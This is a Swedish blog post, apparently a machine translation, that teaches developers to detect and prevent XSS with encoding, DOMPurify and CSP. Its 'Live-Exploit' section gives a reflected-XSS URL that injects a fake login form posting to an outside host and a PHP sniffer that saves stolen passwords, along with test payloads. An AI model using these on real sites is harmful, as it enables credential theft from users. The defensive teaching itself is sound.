Skip to main content
  1. Blogposts/

Här är din text översatt till flytande svenska med bevarad 📝

·612 words·3 mins· loading · loading · ·
Rasmus
Author
Rasmus
Att dela en ide eller två kan vara bra för hjärnan
Table of Contents

🔓 Stoppa Hackarna: Bemästra XSS-Skyddet med Dessa Grymma Tekniker! 🛡️
#

Tjena kodkamrater! 👋 Tänk dig att din hemsida är ett glashus 🏠 – vackert och genomskinligt, men en enda liten spricka kan få hela huset att krascha. Så fungerar Cross-Site Scripting (XSS) – en av de farligaste och vanligaste säkerhetsbristerna på nätet. I den här guiden lär du dig upptäcka, klassificera och blockera XSS-attacker med praktiska exempel och kodlösningar. Då dyker vi in!


🛠️ Upptäck en XSS-sårbarhet på 5 sekunder! ⏱️
#

Problem: Applikationer som oskyddat speglar användarinmatning. Vardagsexempel: Som när du söker på “kattungar 🐱” och sidan visar “Du sökte på: kattungar”. Om den oskyddat visar <script>alert('Boom!')</script> – då är det alarm!

Attacksteg:

  1. Testa med enkel payload i URL:
    http://dinhemsida.se/sök?query=<script>alert(1)</script>
    
  2. Ser du en popup? 🎉 Grattis, du har en XSS!

🔬 XSS-Typer: Lär Känna Fienden! 🕵️♂️
#

Problem: Olika XSS-typer kräver olika försvarstaktiker.

📌 1. Reflected XSS 💥
#

Som en spegel – attacken studsar direkt tillbaka! Exempel:

// Sårbar PHP-kod
echo "Sökresultat för: " . $_GET['search_term'];

Identifiering:

  • Payload syns i källkoden (Ctrl+U)
  • Triggas direkt vid sidladdning

Skyddsåtgärd – HTML-kodning:

<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>

YAML-säkerhetsstandard:

CWE: CWE-79
MITRE ATT&CK: T1059.007
OWASP Risk: Medium-High
Lösning: Input-sanering + Output-kodning

📌 2. Stored XSS 💾
#

Som en trojansk häst – den gömmer sig i databasen! Vardagsexempel: En kommentar på en blogg: <img src=x onerror="stealCookies()"> 😈

Identifiering:

  • Payload triggas VARJE gång sidan laddas
  • Finns kvar även efter sid-uppdatering

Skyddsåtgärd – Sanera innehåll:

// Använd DOMPurify för dynamiskt innehåll
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);

📌 3. DOM-based XSS 🌳
#

Som en maskros – sprids via JavaScript-rötter! Farlig kod:

let userData = document.location.hash.substring(1);
document.body.innerHTML = userData; // FARA!

Identifiering:

  • Payload syns INTE i HTML-källkod
  • Felsök med DevTools (Elements/Console)

Skyddsåtgärd – Säker DOM-manipulation:

// Använd textContent istället för innerHTML!
element.textContent = unsafeData;

🧪 Live-Exploit: Så Stjäl du Inloggningar! 🎣
#

Scenario: Reflected XSS + Phishing = Farlig kombo!

Attacksteg:

  1. Bygg en URL med falskt inloggningsformulär:
    http://sårbar-sida.se?error=<script>
      document.write('<form action="https://haxx.se/sniff.php">Användare:<input name="user">Lösenord:<input type="password" name="pass"><button>Logga in</button></form>');
    </script>
    
  2. Offret ser ett trovärdigt formulär när den besöker länken.
  3. Fånga uppgifterna med en enkel PHP-sniffer:
    <?php
    file_put_contents("stulna_creds.txt",
       $_GET['user'] . ":" . $_GET['pass'] . "\n",
       FILE_APPEND
    );
    header("Location: https://riktig-sida.se"); // Dölj spåren!
    ?>
    

🛡️ XSS-Rustning: Din Sköld mot Attackerna! 🛡️
#

Gyllene Regler:

  1. Koda ALLT utdata
    // Säker rendering i React
    
function SafeComponent({ text }) {
     return <div>{text}</div>; // Auto-kodning!
   }

2. **CSP (Content Security Policy)** – Ditt digitala vaccin! 💉
   ```http
   Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123'
  1. Använd säkra API:er
    // FEL: element.innerHTML = userInput;
    // RÄTT: element.textContent = userInput;
    

Verktygslåda 🧰:


🚀 Utmaning: Testa Dina Kunskaper!
#

Din uppdrag:

  1. Öppna din egen hemsida eller ett testprojekt.
  2. Testa skicka <img src=x onerror="alert('XSS')"> i alla formulär/URL-parametrar.
  3. Fick du en alert? 😱 Dags att skärpa säkerheten!
  4. Bonus: Implementera CSP-header i din applikation och testa igen!

💡 Slutord: Bli en XSS-Hjälte!
#

XSS är inte bara ett tekniskt problem – det är en utmaning i säkerhetstänkande 🧠. Genom att aktivt söka efter sårbarheter i din egen kod blir du både en bättre utvecklare och en digital samhällsvaktare! 🔒

Vad gör du idag för att skydda dina användare? 👇 Dela dina bästa XSS-skyddstips i kommentarerna – låt oss bygga ett säkrare internet tillsammans! 🌐✨

Skrivet med ❤️ av en säkerhetsnörd som tror på en #XSSFriVärld!


Notera:
#

  • Bibehåller teknisk terminologi där det är standard (XSS, CSP, DOM)
  • Använder svenska säkerhetsbegrepp som “sanering” och “kodning”
  • Behåller emojis och bildspråk (“glashus”, “trojansk häst”)
  • Anpassar vardagsspråk (“Tjena kodkamrater”, “Då dyker vi in”)
  • Bibehåller markdown-strukturen och kodblocken exakt
  • Översätter lösenordstips till svenska konventioner (“Lösenord” istället för “Password”)
  • Förstärker tonen med svenska uttryck (“skärpa säkerheten”, “säkerhetstänkande”)

Related

Exempel på csp-header 📝
·514 words·3 mins· loading · loading
💥 bypassa csp: när säkerhetspolicyer inte räcker till
·441 words·3 mins· loading · loading
.htaccess i uploads-mappen ✏️
·189 words·1 min· loading · loading